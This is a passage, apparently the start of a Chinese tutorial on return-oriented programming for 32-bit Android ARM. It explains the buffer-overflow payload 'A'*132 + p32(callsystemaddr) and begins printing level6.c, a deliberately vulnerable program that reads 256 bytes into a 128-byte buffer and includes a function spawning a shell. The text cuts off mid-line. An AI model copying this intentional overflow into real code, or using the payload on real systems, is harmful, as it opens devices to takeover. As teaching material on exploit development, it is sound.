0x00
本文仅解释说明蒸米大神一步一步学ROP之Android ARM 32位篇,读者应先阅读这篇文章,遇到问题再来看我这篇文章。
0x01
第一个问题:payload = 'A'*132 + p32(callsystemaddr),这个132是怎么来的?
要回答这个问题,我们需要把level6.c反汇编,level6.c代码如下:
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void callsystem()
{
system("/system/bin/sh");
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
if (argc==2&&strcmp(&